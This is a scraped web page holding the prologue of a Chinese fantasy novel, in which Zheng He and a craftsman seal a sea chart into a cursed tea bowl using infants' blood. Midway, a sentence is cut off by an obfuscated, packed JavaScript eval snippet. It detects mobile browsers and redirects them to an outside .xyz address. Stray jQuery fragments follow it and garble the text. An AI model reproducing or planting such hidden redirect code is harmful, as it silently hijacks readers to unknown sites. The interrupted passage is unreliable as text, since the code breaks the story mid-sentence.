默认冷灰
24号文字
方正启体

1. 楔子

作者:克莱因夏本书字数:K更新时间:
    楔子:永乐残卷


    宣德三年的雪,下得比往年更烈。


    南京宝船厂的船坞被冻成了冰窖,檐角的冰棱垂得像刀,砸在青石板上溅起细碎的冰花。郑和站在六号船坞的龙门架下,猩红官袍被北风掀得猎猎作响,怀里紧紧揣着卷牛皮航海图,边缘已被血浸透,在雪地里拖出一道暗红的痕。


    “督师,都备妥了。”老匠头江远声的声音打着颤,冻裂的手攥着把青铜匕首,刃上凝着白霜。他身后的雪地里跪着两个褓姆,怀里各抱着个襁褓,婴儿的啼哭被寒风割得支离破碎,像两片被揉皱的桑叶。


    郑和掀开官袍下摆,露出腰间的曜变天目盏。茶碗在雪光里泛着妖异的虹彩,盏沿的开片纹路像极了某种活物的鳞,转动时能听见细微的“咔哒”声,仿佛有虫在釉下爬。“远声,知道为何选你吗?”他的声音嘶哑得像砂纸磨过木头,“你祖父曾为洪武爷烧过祭红釉,懂‘血合’之法。”


    江远声的膝盖陷在积雪里,寒意顺着骨头缝往骨髓里钻。他当然懂——所谓“血合”,是将活人血混入釉料,经七七四十九天窑变,能让瓷器记住主人的气息,六百年不褪。可眼前这两个婴儿,眉眼还没长开,睫毛上还挂着胎脂,怎么下得去手?


    “督师,这……”


    “嘘。”郑和突然按住他的肩,指腹的老茧硌得江远声生疼。远处传来马蹄声,是锦衣卫的马队,铁蹄踏在冰面上,震得船坞的木桩嗡嗡作响。“再磨蹭,别说你江家,整个宝船厂的匠人都得填扬子江。”他从怀里掏出个锦囊,倒出半枚龙纹玉佩,“这是永乐爷赐的,能保你后代九世平安——前提是,你得把这海图封进盏里。”


    江远声看着那半枚玉佩,龙睛处的翡翠在雪光里闪着冷光,与他祖传的那半正好能拼合。二十年前,父亲临终前攥着那半块玉佩说:“江家欠郑家一条命,总有一天要还。”原来应在这里。


    他闭了闭眼,匕首划破婴儿的掌心。血珠刚坠出,就被郑和用盏接住,滴在曜变天目盏里的瞬间,竟发出编钟般的清响,震得檐角的冰棱纷纷坠落。两个婴儿的哭声突然变调,像被什么东西扼住了喉咙,心口的血珠顺着襁褓往下淌,在雪地里汇成个诡异的太极图。


    “双生心头血,阴阳相济,方能镇住这海图的戾气。”郑和将航海图撕碎,一片片扔进盏里。血釉立刻沸腾起来,将纸页吞噬,盏沿的虹彩突然暴涨,映得周围的雪都成了血色。“待九世轮回圆满,自有破局之人。”他把盏塞进江远声怀里,“记住,不到万不得已,千万别让它见光——尤其是姓傅的后人。”


    江远声接过茶碗的刹那,釉面突然炸开一片强光。他在光晕里看见无数幻影:


    先是永乐十九年的南京城,火光照亮半边天,郑和跪在奉天殿前,怀里抱着同样的曜变盏,朱红宫墙下堆着成排的尸体,都是参与绘制海图的匠人。


    接着是民国二十六年的雨夜,穿月白旗袍的女子被玄衣男人按在故宫红墙上,两人腕间缠着同样的金丝血线,线的尽头拴着半块龙纹玉佩。男人背后的囚牛纹身正在流血,滴在女子旗袍的缠枝莲纹上,竟开出朵血色牡丹。


    画面最清晰的是2023年的故宫钟表馆,玻璃展柜里的曜变盏正在渗血,穿月白旗袍的少女伸手去摸,指尖刚触到玻璃,就被里面突然浮现的人影攥住——那玄衣男人的脸,竟与此刻的郑和有七分相似。


    “这是……”江远声的声音被光晕吞没。


    “六百年的债,总得有人还。”郑和的脸在光里忽明忽暗,“江家守图,傅家寻图,九世一轮回,到第九世……”他的话没说完,就被锦衣卫的喝声打断。


    马队已经冲到船坞门口,领头的千户举着圣旨,声如洪钟:“奉天承运皇帝,诏曰:郑和私藏海外舆图,意图不轨,着即打入天牢!所有涉案匠人,就地正法!”


    郑和突然拔剑,剑尖抵住江远声的咽喉:“带着盏走!从船坞的密道去景德镇,找姓陶的窑主,他会教你怎么用‘骨瓷封魂’之术!”他猛地将江远声推入身后的暗门,“记住,让你孙女离姓傅的远些——他们是天生的劫数!”


    暗门关上的瞬间,江远声听见外面传来兵器交击声和郑和的怒吼,接着是婴儿凄厉的啼哭,突然戛然而止。他抱着曜变盏在密道里狂奔,茶碗的温度越来越高,烫得他掌心起泡,釉面里的幻影却愈发清晰:那个穿月白旗袍的少女,颈间挂着半块龙纹玉佩,正被玄衣男人按在展柜上,男人的犬齿咬在她的锁骨处,像在钤印,血珠滴在展柜的玻璃上,晕开的形状与此刻盏里的航海图分毫不差。


    密道尽头连着扬子江的货船,老艄公正举着灯笼等他。“江师傅,陶爷在景德镇等急了。”艄公接过茶碗,突然“咦”了一声,“这盏怎么在流血?”


    江远声低头看去,曜变盏的开片纹路里渗出鲜红的液体,顺着碗底往下淌,在船板上积成个小小的水洼。他伸手去擦,指尖刚触到液体,就被烫得缩回手——那不是血,是融化的金漆,带着浓烈的龙涎香,与郑和官袍上的味道一模一样。


    “这是……金漆蚀骨。”老艄公的脸色突然变得惨白,“我爷爷说,当年跟着三宝太监下西洋,见过这种漆,是用南洋的血树汁调的,沾了就会被缠上,生生世世不得解脱。”


    江远声抱紧茶碗,突然想起郑和最后那句话:“九世轮回,到第九世……”他摸出怀里的半枚龙纹玉佩,与盏沿的虹彩对照,发现龙睛的位置正好对着幻影


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314972|182945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里少女腕间的金丝血线。


    货船驶离宝船厂时,他回头望了一眼。火光已经烧红了半边天,六号船坞的龙门架在火里坍塌,像只折断翅膀的鸟。雪还在下,落在江面上瞬间融化,仿佛有无数双眼睛在水底盯着他,那些都是被灭口的匠人,他们的冤魂顺着水流,缠上了这只藏着秘密的茶碗。


    “陶爷说,这盏要养在活人身边,每代传一个女儿,用体温焐着,才能镇住里面的戾气。”老艄公递来件襁褓,是个刚断气的女婴,眉心有颗朱砂痣,“把这个带上,就说是你女儿,景德镇那边才会认。”


    江远声摸着女婴冰冷的脸颊,突然在她掌心发现个极小的印记,是半片青花瓷的形状,与曜变盏里的航海图边缘完美吻合。他将女婴的尸体抱在怀里,与茶碗贴在一起,釉面的幻影突然变了——玄衣男人正用刀划破自己的掌心,血滴在少女的旗袍上,晕开的纹路里浮出九个字:


    “第九世,血债血偿。”


    货船驶入长江主航道时,江远声在舱底发现了张字条,是郑和的笔迹:“海图藏着宝船七号的位置,里面有能颠覆王朝的东西。傅家是当年造船的督造官后代,他们要找的不是宝藏,是能让死人复活的‘骨瓷秘录’。”


    他将字条塞进茶碗,看着它被血釉吞噬。曜变盏突然发出一阵叹息,不是一个人的声音,是无数人的,老的少的,男的女的,在釉面里共振,像六百年的风雪都被封在了这只碗里。


    江远声抱着茶碗和女婴的尸体,在摇晃的船舱里闭上眼。他知道,从接过这只盏的瞬间,江家就再也回不了头了。那些幻影里的轮回,那些血与金漆的纠缠,已经像藤蔓一样缠上了他的骨血,要等九世之后,才能在某个惊蛰的雨天,开出朵带着血腥味的花。


    船行至鄱阳湖时,他给女婴取了个名字:“浸月”。江浸月,浸在月光里的意思,他希望她的来世,能离这血与火远些,再远些。可怀里的曜变盏突然发烫,釉面里的玄衣男人正对他冷笑,嘴角的弧度像把刀,刻着句无声的话:


    “躲不掉的。”


    雪停了,月亮从云里钻出来,照在江面上,泛着碎金般的光。江远声看着水里的月影,突然觉得那不是月亮,是曜变盏里的虹彩,正一点点吞噬着水面,也吞噬着江家九世的命运。他握紧那半枚龙纹玉佩,指腹摩挲着冰冷的玉面,在心里默念:


    “第九世,一定要破局啊。”


    舱外传来老艄公的歌声,是首南洋的民谣,调子诡异得像哭:“金漆蚀骨,血釉封魂,九世轮回,生死同坟……”


    江远声将脸埋进女婴的襁褓,闻到股淡淡的奶香味,混着金漆的腥气,在摇晃的船舱里,酿成了六百年都散不去的,关于宿命的酒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)